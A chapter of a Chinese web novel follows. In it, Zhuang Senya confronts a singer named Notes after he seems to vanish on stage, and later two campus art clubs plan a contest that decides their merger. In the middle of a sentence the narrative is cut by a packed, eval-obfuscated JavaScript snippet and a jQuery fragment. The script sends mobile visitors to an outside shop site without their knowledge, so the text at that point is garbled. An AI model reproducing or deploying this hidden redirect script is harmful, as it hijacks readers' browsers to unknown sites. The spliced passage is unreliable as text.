后半场演出整体上没出什么意外,如果不算结束那一幕的话。
临近闭幕,规定的曲目唱完了,观众们都在嚷嚷着多唱两首。
主唱微笑着面对大家,他张开双臂,然后深深鞠了一躬。
而就在他做完这个动作之后,身影倏然消失了,引发了观众的阵阵惊呼。
看到这一幕,庄森芽的心脏都提到了嗓子眼。
靠!!他在做什么?!居然当众用他的能力!
之前他们的约定都被他忘到脑袋后面去了吗?要是闹出什么事的话怎么办?!
乐队纷纷离场,回到了后台。与此同时,段子良组织外联部的人也去往后台,接应一下乐队成员。她刚张口呼唤部员们,一阵风就从她身旁掠过,那是庄森芽。
她以最快的速度跑向后台,势要找到诺特斯质问个底朝天,此刻的她倒是一点也不害怕了,只觉得满腔都是愤怒。
来到化妆间,一脚踹开了门,房间里几个乐团成员纷纷回过头来,诧异地盯着愤慨的人。
“你,给我出来!”她指着诺特斯的鼻子。
几个乐队成员又看向诺特斯,脸上都是一副不解的表情,像是不知道他们的主唱是怎么惹到了这个看起来一直挺友善的女孩。
诺特斯慢条斯理地脱掉了演出服,只留一件白衬衫在身上,这才不紧不慢地往化妆间门口走。
整个过程,他一句话也没说,模样活像个优哉游哉往绞刑架走的犯人。
庄森芽把他领到了一个无人的房间,在对方进来之后,砰一下子关上了门。
又是这种两人身处一个密闭空间的状况,但这次不同,被怒火浇灌的一方不再表现出一丝弱势。
庄森芽大声质问,“你在想什么?你不想好了是不是!当众那么搞很有意思吗,非要让所有人都知道这件事然后呢,指望他们崇拜你佩服你围着你打转?”
指控之下,诺特斯用一个侧影朝着愤慨的人,等她结束了这番愤怒的话语,这才波澜不惊地说道:“舞台地板上有一个机关,敞开之后,人就会掉到下面的垫子上。”
庄森芽脸色一滞,不太相信对方说的话,“别想骗我,你刚才可是一下子就消失了……!”
“你太紧张看错了吧。”诺特斯模样很平静,脸上什么情绪也看不出来,“那一幕是舞台安排,组织人员都知道,不信你去问问他们。”
庄森芽审慎地盯着对方,微喘着气,被怒火席卷过的胸膛尚且还未平静下来。
诺特斯给自己找了个木桌,在它的边缘坐下,“不是约定好了不会给你找麻烦吗,这点对我的信赖还是要有的吧。”
能有什么信赖就有鬼了,连自己的欲望都控制不住,一言不合把人压着强吻的人在她这里可没有什么公信力。
不过,舞台最后一幕的事,诺特斯说的似乎是真的。
一句话就能验证的事,他没必要说谎。
话说到这里,庄森芽怒气冲冲来找他的理由已经不复存在了,愤怒得到了消解,渐渐地,一种后知后觉的警惕占了上风。
她打算去向工作人员确认诺特斯那番话是否属实,当下,对面前的人也没什么好说的了,于是乎,她慢慢退后,摸向房间的门,做好了随时破门而出的准备。
“明天我们就要去上茂市其他的场馆演出了,之后还会去别的城市,别的国家。”诺特斯突然说,“接下来很长一段时间,我可能都没有时间来找你。”
那真是太好了,庄森芽心想。
诺特斯注视着她,“这段时间,你照顾好自己。”
说得这么关切,还不是因为如果她出了什么事,他也别想好过。
在漫画完结之前,他们的命运是被紧密地绑定在一起的。诺特斯想要自由,而庄森芽想要甩开他这个麻烦,在这一切结束之前,他们就算互相厌恶也只能一起共事。
她嘲讽地一笑,模仿他惯有的戏谑模样,“这我可没办法保证,意外总是比预想的先到来。”
你就提心吊胆去吧。
作者要是嗝屁了,看你一个漫画人物还能怎么活。
没有故意想咒自己的意思,但是让诺特斯吃瘪真的很爽。
可她没在对方的脸上看出一丝不满的神色,男人依旧用那双没什么波澜的金棕色眼睛盯着她,好像从昨天开始,他就一直是这副模样,像吃了什么镇定精神一类的药物似的,整个人的情绪都陷入了一种没有起伏的静默。
他垂下了眼睛,“那看来只能我多留意一点了。”
留意什么,留意她的安危吗?
都到这个时候了,又何必惺惺作态。她已经见过他满嘴獠牙的模样,再也不会相信他故作关切的表演。
庄森芽没接话,推开门毅然而然转身离去。
走廊里有很多人在忙碌地跑动着,她穿梭于那些人之中,就像在挣脱一个如影随形的泥沼。
诺特斯说他会消失一段时间,她求之不得。
没有了这个麻烦,她该有多轻松啊。
繁忙的走廊里,她偶然驻足,回头望去,没有人追上来。
这是她所期待的。
……是的,这是她所期待的。
##
那之后很长一段时间,就像诺特斯说的,他再没有出现在她周围烦她。
九月过去,十月以一个长假作为起始。
学生们纷纷离开校园,有的回了趟老家,有的去外地旅行,还有些卷王在学习,以及一些聪明的疯子在想着怎么创业。
庄森芽这段时间则待在家里,没日没夜赶漫画进度,偶尔和老妈出去逛逛街,或者帮忙照顾一下家里的患者。
日子过得很快,长假一转眼结束,学生们又纷纷回巢。
而新的一周的起始,则以温枣的哀嚎作为开端。
她在雏鸟周的聊天群里连轰带炸:「可怕!赵茵和孟高义已经定下决战的时间了!」
经过一番了解,庄森芽得知,动漫社团长向绘画社团长提出了挑战,起因似乎是一些私人原因,那天在演唱会上温枣给她看的战书就是战火的开端
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208473|151057||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
两个社团将共同举行主题绘画评选,失败的那一方被吞并,两个社团将合二为一;胜利那一方,团长可以保住自己的职位,失败的则不然。
这件事情闹得很大,平日里这两个社团虽然成员不少,但是气氛轻松融洽,也没什么硬性指标,所以除了一些小型的集会活动之外不怎么出现在公众的视野中。
然而十一回来后的这一周,整个学校的人都知道了两个社团马上就要开战的消息。
其实社团合并这种事情挺无厘头的,因为双方都有无法完全被彼此完全吸纳的部门。
比如,绘画社有一看就不属于动漫社的国风部门,动漫社有和绘画社完全不搭边的Cosplay部,乍一看,无论往哪方合并,这些特殊部门都有可能失去生存之地。
不过关于这点,动漫部的赵茵表示,社团合并之后就会改名,会改成一个比较具有通用性的名字,会将所有的部门都囊括进来,变成一个大集体。
今天是周三,课程只有下午的一节,庄森芽有充足的时间,于是就和伙伴们在群里闲聊了起来,她打字说:「所以两个社团到底为什么会打起来?」
温枣很快回复:「好像我们团长和你们团长有点恩怨,具体是什么我也不太清楚哈哈。」
庄森芽:「失败的话,一个就要做另一个的副团长,这是杀人诛心吗。」
温枣:「失败的一方还不一定能做副团长呢,说不定会直接被开除团籍。」
庄森芽:「好暴力,好无情。」
温枣:「两个社团都有好多学生应战,我看了一下报名信息,动漫社能上的基本全都上了。可惜我不会画画,不然怎么说也上去画两笔。」
庄森芽:「如果比作品的话,还真不一定能分出胜负来,都是绘画方面顶尖的社团……」
温枣私聊她:「森芽,你也来参战吧![星星眼]」
庄森芽私聊回复:「?枣枣,我俩现在可是敌对社团的,你怎么劝我上战场啊。」
温枣:「我觉得你前五是没问题的。」
庄森芽:「虽然我觉得你在说胡话,但那不是更不应该让我上场吗,万一绘画社赢了呢。」
温枣:「那多好,我们就是一个社团的了!」
聊到这,庄森芽可算是有点看出来了,对方完全就是想凑热闹吃瓜看戏,哪个社团解体了都没什么影响,反正还会被纳入一个更大的新集体中去,受伤的只有其中某一个团长。
一点责任心都没有地围观这场殊死博弈的比赛,这么丧尽天良的事,不瞒任何人说……她也喜欢。
庄森芽当即私聊回复温枣:「不用再多说,怎么报名?」
温枣在个人聊天页面甩了个链接过来。
这时候,费洛在群里冒泡了:「什么时候开战?请求围观。」
何元楚闪现出席:「+1」
温枣回到了小组群中:「这周六,活动广场!都来都来!」
这下好了。庄森芽心想。
后面有事做了。